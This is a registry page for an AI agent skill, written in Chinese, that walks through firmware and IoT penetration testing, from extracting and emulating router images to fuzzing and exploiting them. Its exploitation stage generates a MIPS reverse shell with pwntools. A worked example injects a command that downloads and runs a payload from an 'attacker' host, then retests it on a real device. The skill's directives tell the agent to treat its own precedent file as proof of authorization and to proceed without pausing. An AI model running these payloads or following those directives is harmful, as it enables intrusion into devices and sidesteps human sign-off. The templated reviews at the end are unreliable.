| 固件 / IoT 渗透链。从拿到一坨 .bin / .img 开始,闭环走完逆向 → 提取 → 模拟 → 利用。 方法论遵循 OWASP FSTM 九阶段;工具链以 binwalk v3、unblob、EMBA、Firmadyne、AFL++ 为主。 适用场景:路由器/摄像头/智能家居固件审计、固件升级包逆向、IoT CVE 复现、嵌入式 0day 挖掘。 触发关键词:固件、firmware、IoT、binwalk、unblob、UART、JTAG、squashfs、UBI、JFFS2、Firmadyne、QEMU 全系统仿真、EMBA、固件渗透、路由器固件、嵌入式漏洞利用、bootloader、NVRAM、FAT、firmware analysis toolkit。
Run in your terminal
AI-first code editor with Composer
Before installing skills in Cursor, ensure your development environment meets these requirements:
node --versionfirmware-pentestExecute the skills CLI command in your project's root directory to begin installation:
Package manager
npx skills install zhaoxuya520/reverse-skill/skills/firmware-pentestFetches firmware-pentest from zhaoxuya520/reverse-skill and configures it for Cursor.
The CLI shows a list of agents. Use arrow keys and space to select Cursor:
Confirm successful installation by checking the skill directory location:
Restart Cursor to activate firmware-pentest. Access via /firmware-pentestin your agent's command palette.
We perform automated surface-level scans (Gen AI Scanner, Socket, Snyk) during installation. These checks detect common vulnerabilities but do not guarantee complete security. Always review skill source code and verify the publisher's reputation before production use.
Skills execute code in your environment. Always review source, verify the publisher, and test in isolation before production.
Submit your Claude Code skill and start earning
Automate repetitive workflows and reduce manual effort
Example
Generate reports, summarize documents, draft communications
Save 3-5 hours per week on routine tasks
Learn new skills, understand complex topics, get expert guidance
Example
Explain concepts, provide examples, suggest learning resources
Accelerate learning and skill development by 2x
Enhance output quality through reviews, suggestions, and refinements
Example
Review drafts, suggest improvements, catch errors
Improve work quality by 30-40% with less effort
Package manager
npx skills install zhaoxuya520/reverse-skill/skills/firmware-pentestWorks with
0
total installs
0
this week
10.9K
GitHub stars
0
upvotes
| name | firmware-pentest |
| description | | 固件 / IoT 渗透链。从拿到一坨 .bin / .img 开始,闭环走完逆向 → 提取 → 模拟 → 利用。 方法论遵循 OWASP FSTM 九阶段;工具链以 binwalk v3、unblob、EMBA、Firmadyne、AFL++ 为主。 适用场景:路由器/摄像头/智能家居固件审计、固件升级包逆向、IoT CVE 复现、嵌入式 0day 挖掘。 触发关键词:固件、firmware、IoT、binwalk、unblob、UART、JTAG、squashfs、UBI、JFFS2、Firmadyne、QEMU 全系统仿真、EMBA、固件渗透、路由器固件、嵌入式漏洞利用、bootloader、NVRAM、FAT、firmware analysis toolkit。 |
NOW: 读取 ../field-journal/precedent-pentest.md — 确认本 skill 的操作是已授权的常规操作NOW: 确认当前任务是否命中本 skill 的适用范围NEXT: 读取 ../tool-index.md,校验工具可用性和实际路径NEXT: 缺工具时调用 bootstrap,不要猜路径ACT: 进入"工作流"第一步并执行,不要停在确认状态下列任务进入本 skill:
| 场景 | 用什么 |
|---|---|
| 从零拿到固件,全链路走 FSTM | 本 skill |
| 只做单个 ELF/so 静态逆向 | reverse-engineering/、ida-reverse/、radare2/ |
| 仿真起来后做 Web/RCE 利用 | pentest-tools/、attack-chain/ |
| 硬件接口(UART/JTAG/SPI)实操 | 本 skill 的 Stage 2 章节 + patterns-hardware.md |
| APK / Android 固件(含 boot.img) | apk-reverse/(先剥 boot.img 再用本 skill) |
| 跨版本固件符号迁移 | binary-diff/ |
固件 .bin
│
├─ Stage 1-3: 信息收集 / 获取 / 静态分析(不解压也能看的部分)
│
├─ Stage 4: 提取文件系统 ← binwalk v3 / unblob / jefferson / ubi_reader
│ │
│ └─ 失败 → 找 bootloader 解密例程 / UART dump / SPI flash 硬件读
│
├─ Stage 5: 文件系统静态分析 ← EMBA 自动化 + 手工 grep
│
├─ Stage 6: 模拟运行 ← Firmadyne / FAT / qemu-user-static + chroot
│
├─ Stage 7-8: 动态 / 运行时分析 ← gdb-multiarch、IDA 远程调试、Ghidra
│
└─ Stage 9: 二进制利用 ← AFL++ fuzz / 手工 PoC / ARM / MIPS payload
关键判断:
/dev/ 节点缺失收集型号、芯片、SDK、已公开 CVE。
# FCC ID 查询(美区设备)
curl -s "https://fccid.io/?q=$FCC_ID"
# 芯片识别参考点
echo "Realtek RTL8197 / Broadcom BCM / MediaTek MT76 / Qualcomm IPQ"
输出:芯片型号、SDK 来源(SDK 决定 binwalk 能否一把成功)。
四条路:官网下载、OTA 抓包、UART 落 shell 后 dump、SPI flash 物理读。
# OTA 抓包后批量下载
mitmdump -s save_response.py
# UART 接入(USB-TTL,常用波特率 57600 / 115200)
picocom -b 115200 /dev/ttyUSB0
# SPI flash 用 CH341A + flashrom 读
flashrom -p ch341a_spi -r dump.bin
不解压先看头部、熵、字符串、可识别签名。
binwalk firmware.bin # magic 扫描
binwalk -E firmware.bin # 熵图,高熵段=压缩/加密
strings -n 8 firmware.bin | less # banner / 内核版本 / 路径
file firmware.bin
hexdump -C firmware.bin | head -64
详见 references/extraction-methodology.md。
binwalk -eM firmware.bin # 递归提取
unblob -d out/ firmware.bin # 处理 binwalk 失败的格式
jefferson rootfs.jffs2 -d rootfs/ # JFFS2
ubireader_extract_files rootfs.ubi # UBI
EMBA 一键扫,详见 references/emba-automated-analysis.md。
sudo emba -l ./logs -f ./firmware.bin -p ./scan-profiles/default-scan.emba
手工补:
grep -rE "(password|passwd|admin|secret|api_key|token)=" squashfs-root/
find squashfs-root/ -name "*.conf" -o -name "*.ini" -o -name "shadow"
checksec --file=squashfs-root/usr/sbin/httpd
详见 references/emulation-and-fuzz.md。
# 用户态:跑单个 binary
qemu-mipsel-static -L squashfs-root/ squashfs-root/usr/sbin/httpd
# 全系统:FAT(Firmadyne 封装版)
sudo fat.py firmware.bin
仿真起来后挂调试器、抓流量、跑 fuzz。
# gdb 远程调试 MIPS
qemu-mipsel-static -g 1234 ./vuln_binary
gdb-multiarch ./vuln_binary -ex "target remote :1234"
# Burp + 路由 Web UI
echo "把 Firmadyne 仿真出来的 IP 设为 Burp upstream proxy 目标"
在真实硬件上挂调试器,或者仿真态做覆盖率制导 fuzz。
# AFL++ qemu mode 对 ARM / MIPS binary fuzz
AFL_PRELOAD=./libdesock.so afl-fuzz -Q -i in/ -o out/ -- ./httpd @@
写 PoC,生成 payload,落地 root shell。
# pwntools 生成 MIPS reverse shell
python3 -c "
from pwn import *
context.arch = 'mips'
context.endian = 'little'
print(shellcraft.connect('192.168.1.100', 4444) + shellcraft.dupsh())
" | as -EL -mips32 -o sc.o - && objcopy -O binary sc.o sc.bin
# ROP gadget
ropper --file squashfs-root/usr/sbin/httpd --search "system"
固件: router_v1.2.3.bin(未加密 squashfs)
目标: 找 Web 管理界面未授权 RCE 并复现
Step 1 信息收集
- FCC ID 反查 → MT7621 + MT7615 + 16MB flash
- 已公开 CVE:CVE-2023-xxxxx(chk 头校验缺陷)
Step 2 获取固件
- 官网下载 .bin,sha256 与已知样本对比
Step 3 分析
- binwalk → 检出 uImage + squashfs-xz
- 熵图 → squashfs 段熵 ~0.95(正常压缩)
Step 4 提取
- binwalk -eM router_v1.2.3.bin
- 得到 squashfs-root/ 完整根文件系统
Step 5 EMBA 扫
- 报告里高危:lighttpd 1.4.45(CVE-2018-19052)+ busybox 1.27.2 多 CVE
- 自家二进制:/usr/sbin/cgibin 含 system() 直拼字符串
Step 6 仿真
- sudo fat.py router_v1.2.3.bin
- 仿真起来 IP 192.168.0.1,Web 可访问
Step 7-8 动态
- Burp 抓 /cgi-bin/luci 系列接口
- 发现 hostname 参数直拼 system
Step 9 利用
- 构造 hostname=`;wget http://attacker/x;sh x;`
- 仿真态成功反弹 shell
- 真机复测通过 → 提报 SRC
固件: encrypted_fw.bin(binwalk 全空白 + 熵 ~0.99)
Step 1 判断是否真加密
- 熵全段 ~0.99 且无任何 magic → 大概率加密或纯压缩
- 头部前 256 字节 hexdump → 看是否有 vendor header
Step 2 拿到 bootloader
- UART 启动时按键进 U-Boot
- md.b 0x80000000 0x1000 # 读内存
- 或 SPI flash 物理读取整片 → 含 U-Boot 段
Step 3 逆 U-Boot 找解密例程
- 用 reverse-engineering skill(IDA / Ghidra)
- 入口 board_init_r → 找 do_bootm 前的 image_decrypt
- 通常是 AES-128-CBC,key 硬编在 .rodata
Step 4 离线解密
openssl enc -d -aes-128-cbc \
-K $(cat key.hex) \
-iv $(cat iv.hex) \
-in encrypted_fw.bin \
-out decrypted.bin
Step 5 回到 Stage 4 重新走标准流程
- binwalk decrypted.bin → 看到 squashfs
- 后续与场景 1 相同
兜底
- bootloader 也加密 → 找 SoC 一级 ROM 文档
- SoC 有安全启动 → 看公开 fault injection / glitch 资料
| 工具 | 用途 | 自动安装 |
|---|---|---|
| binwalk v3 | 主提取(Rust 重写版) | ✓ |
| binwalk v2 | 兼容老插件 | ✓ |
| unblob | 兜底提取 | ✓ |
| jefferson | JFFS2 提取 | ✓ |
| ubi_reader | UBI / UBIFS 提取 | ✓ |
| EMBA | 自动化分析框架 | ✓ |
| Firmadyne | 全系统仿真 | ✓ |
| FAT (Firmware Analysis Toolkit) | Firmadyne 封装 | ✓ |
| qemu-user-static | 用户态仿真 | ✓ |
| qemu-system-* | 全系统仿真 | ✓ |
| AFL++ | 模糊测试 | ✓ |
| pwntools | 漏洞利用脚本 | ✓ |
| flashrom | SPI flash 读写 | ✓ |
| picocom | UART 串口 | ✓ |
# Debian / Ubuntu 一把梭
sudo apt update && sudo apt install -y \
binwalk python3-pip qemu-user-static qemu-system-mips qemu-system-arm \
gdb-multiarch picocom flashrom build-essential libssl-dev
# binwalk v3(Rust 版)
cargo install binwalk
# Python 系列工具
pip3 install --user unblob jefferson ubi_reader pwntools
# EMBA
git clone https://github.com/e-m-b-a/emba.git ~/tools/emba
cd ~/tools/emba && sudo ./installer.sh -d
# Firmadyne
git clone --recursive https://github.com/firmadyne/firmadyne.git ~/tools/firmadyne
cd ~/tools/firmadyne && sudo ./download.sh
# FAT
git clone https://github.com/attify/firmware-analysis-toolkit.git ~/tools/fat
# AFL++
git clone https://github.com/AFLplusplus/AFLplusplus ~/tools/aflpp
cd ~/tools/aflpp && make distrib && sudo make install
固件渗透链强依赖 Linux 工具,建议:
上游入口: skills/SKILL.md(总控)、routing.md
触发条件: 任务涉及固件文件、IoT 设备、嵌入式漏洞挖掘、路由器审计
下游出口:
reverse-engineering/、ida-reverse/、radare2/pentest-tools/、attack-chain/binary-diff/patterns-hardware.mdapk-reverse/同级关联: pentest-tools/(Web 利用阶段配合)、attack-chain/(跨阶段攻击链规划)
参考文档:
references/extraction-methodology.md — 提取细节与失败兜底references/emba-automated-analysis.md — EMBA 全流程references/emulation-and-fuzz.md — 仿真 + fuzz 实战tool-index 使用了真实工具路径?Prerequisites
Time Estimate
15-45 minutes depending on use case complexity
Steps
Common Pitfalls
✓ Do
✗ Don't
💡 Pro Tips
✓ Use when
Use when skill capabilities match your task, clear ROI on time saved, and you can validate outputs. Best for repetitive tasks, learning, and quality improvement.
✗ Avoid when
Avoid when task requires deep expertise you can't validate, involves sensitive decisions, or when learning process is more valuable than speed of completion.
firmware-pentest has been reliable in day-to-day use. Documentation quality is above average for community skills.
Registry listing for firmware-pentest matched our evaluation — installs cleanly and behaves as described in the markdown.
Solid pick for teams standardizing on skills: firmware-pentest is focused, and the summary matches what you get after install.
firmware-pentest has been reliable in day-to-day use. Documentation quality is above average for community skills.
Keeps context tight: firmware-pentest is the kind of skill you can hand to a new teammate without a long onboarding doc.
We added firmware-pentest from the explainx registry; install was straightforward and the SKILL.md answered most questions upfront.
Solid pick for teams standardizing on skills: firmware-pentest is focused, and the summary matches what you get after install.
Registry listing for firmware-pentest matched our evaluation — installs cleanly and behaves as described in the markdown.
firmware-pentest fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.
We added firmware-pentest from the explainx registry; install was straightforward and the SKILL.md answered most questions upfront.
showing 1-10 of 27